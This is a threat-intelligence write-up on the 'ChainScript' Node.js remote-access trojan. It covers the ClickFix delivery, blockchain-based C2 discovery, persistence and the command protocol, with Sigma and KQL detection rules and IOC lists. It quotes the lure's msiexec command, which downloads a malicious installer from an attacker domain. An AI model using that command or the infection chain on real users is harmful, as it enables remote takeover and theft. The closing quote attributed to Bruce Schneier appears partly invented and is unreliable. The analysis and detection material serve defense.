Blackpoint Cyber researchers have identified a previously unknown Node.js RAT called ChainScript, distributed through ClickFix lures and using Polygon smart contracts for dynamic command-and-control infrastructure discovery. The malware masquerades as popular software such as Spotify, Zoom and Microsoft Teams and bypasses UAC through user-level MSI installation.
Key features: Node.js RAT with a modular architecture; EtherHiding-style C2 discovery through a Polygon smart contract (Chain ID 137); dynamic rotation of WebSocket servers without recompiling the malware; UAC bypass through MSI using the ALLUSERS=2 and MSIINSTALLPERUSER=1 flags.
ChainScript uses a multi-stage infection chain that begins with social engineering. The victim encounters a ClickFix lure on a compromised website or in an advertisement, where a fake error message appears asking them to execute a command to "fix" the problem.
msiexec.exe /i "https://api-configuard[.]com/capher.php?..." downloads the malicious installerAfter execution, the MSI extracts the bundled node.exe and supporting scripts into Microsoft-themed directories:
Persistence is achieved through a scheduled task named ComponentTask33Agent, which launches wscript.exe //B to execute ._agent.vbs silently. If task creation fails, the malware falls back to an HKCU Run key.
The most innovative aspect of ChainScript is its use of blockchain technology for C2 discovery. Instead of hardcoded IP addresses or domains that can be quickly blocked, the malware uses a smart contract on the Polygon PoS mainnet.
| Component | Value | Purpose |
|---|---|---|
| Blockchain | Polygon PoS (Chain ID 137) | Decentralized platform for storing C2 information |
| Contract Address | 0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4 | Smart contract containing current C2 addresses |
| Function Selector | 0x4ab7874e | Method for retrieving the WebSocket URL |
| Cache Duration | 5 minutes | Duration for caching the retrieved address |
The discovery process works as follows:
Advantages for attackers: The smart contract was deployed just 23 seconds before the MSI installer was generated, confirming full integration of blockchain deployment into the automated malware build pipeline. During testing, the contract dynamically redirected agents from shift-api-control[.]com:3847 to bedotiq[.]net:3854 after a server reset.
The blockchain-based approach allows ChainScript operators to instantly change backend infrastructure without the need to:
The most commonly used ports are 3847, 3851 and 3854. Observed domains include kerosand[.]net, shift-api-control[.]com, moweros[.]net, bedotiq[.]net and giperon[.]net.
ChainScript is a fully featured RAT with a broad range of capabilities for controlling an infected system.
After connecting to the C2 server via WebSocket, the agent authenticates using the X-Agent-Token header and registers the system by sending:
The protocol supports the following message types:
| Direction | Message Types |
|---|---|
| Inbound (from C2) | command, shell, ping, files |
| Outbound (to C2) | heartbeat, pong, command_result, shell, wallet_report |
The heartbeat interval is 12 minutes, while the reconnect delay is 15 seconds. Request IDs associate operator commands with their corresponding execution results.
Detecting ChainScript requires a multi-layered approach combining behavioral analysis, hunting queries and blocking known IOCs.
title: ChainScript RAT Execution Chain via MSI and WScript
status: experimental
description: Detects msiexec installing user-level components that spawn wscript and node.exe from user profile directories
logsource:
category: process_creation
product: windows
detection:
selection_wscript:
Image|endswith: 'wscript.exe'
CommandLine|contains:
- '._agent.vbs'
- 'SettingsHostStandard58'
- 'QuickSystemSearch'
selection_node:
Image|endswith: 'node.exe'
CommandLine|contains:
- 'appsrcindex.js'
- 'ComponentTask33'
- 'UpdateDigital'
condition: selection_wscript or selection_node
level: critical// Hunt for ChainScript scheduled task persistence and Node execution
let SuspiciousNodes = DeviceProcessEvents
| where FileName =~ "node.exe"
| where ProcessCommandLine has_any ("appsrcindex.js", "QuickSystemSearch", "SettingsHostStandard58")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName;
let SuspiciousTasks = DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has_all ("/create", "wscript.exe", "._agent.vbs")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, AccountName;
union SuspiciousNodes, SuspiciousTasks
| sort by Timestamp descImmediately block the following at the perimeter firewall and DNS sinkhole:
Important: Infrastructure IOCs (domains, IP addresses and contracts) have a short lifespan due to dynamic rotation. Focus on behavioral patterns and host artifacts for long-term detection.
| Type | Indicator | SHA-256 |
|---|---|---|
| MSI (Spotify) | ComponentTask33-4d14e6ac.msi | 20a9e297220fe4cb9f939eaa82582c6e9a8f6dd4424635206dec08fa1986b8fa |
| MSI (Spotify) | UpdateDigital-0c3c5204.msi | 6e07d2de3618bb92265248653361ff39c63c0cfba2f4aa2538b3128fa9ce3a50 |
| MSI (Zoom) | HostShared-1a5b7e17.msi | bad0600a850436154f8d7b6f7a191dc45bd136897780cd032b336cb4b358d241 |
| MSI (Teams) | OrchidViolet66-5595bc08.msi | 496c202abf53984164f5f319a72b02c8e06016d0f35681353ef07db8e6d1b31f |
| Helper binary | ProfileQuickHost.exe | 9fa80577b8b3cb9c3062e5e1986cc9fe0c26eed023f7d430dfa5c60169c15c45 |
| Screenshot helper | SearchTrustedRuntimeSvc.exe | 7969ccaf1db750bc3b02d51626d6916ecbd0c0cf2f7de3c7bc0be240f5f2978d |
ChainScript demonstrates the evolution of commodity malware, with attackers combining legitimate runtimes such as Node.js with decentralized Web3 infrastructure to create C2 channels that are resilient to takedowns. The use of blockchain for C2 discovery presents a significant challenge to traditional threat intelligence approaches and requires detection strategies to adapt accordingly.
“Security is not a product, but a process. When attackers use blockchain for C2, defenders must think just as decentralized and adaptively.”
— Bruce Schneier, cybersecurity expert
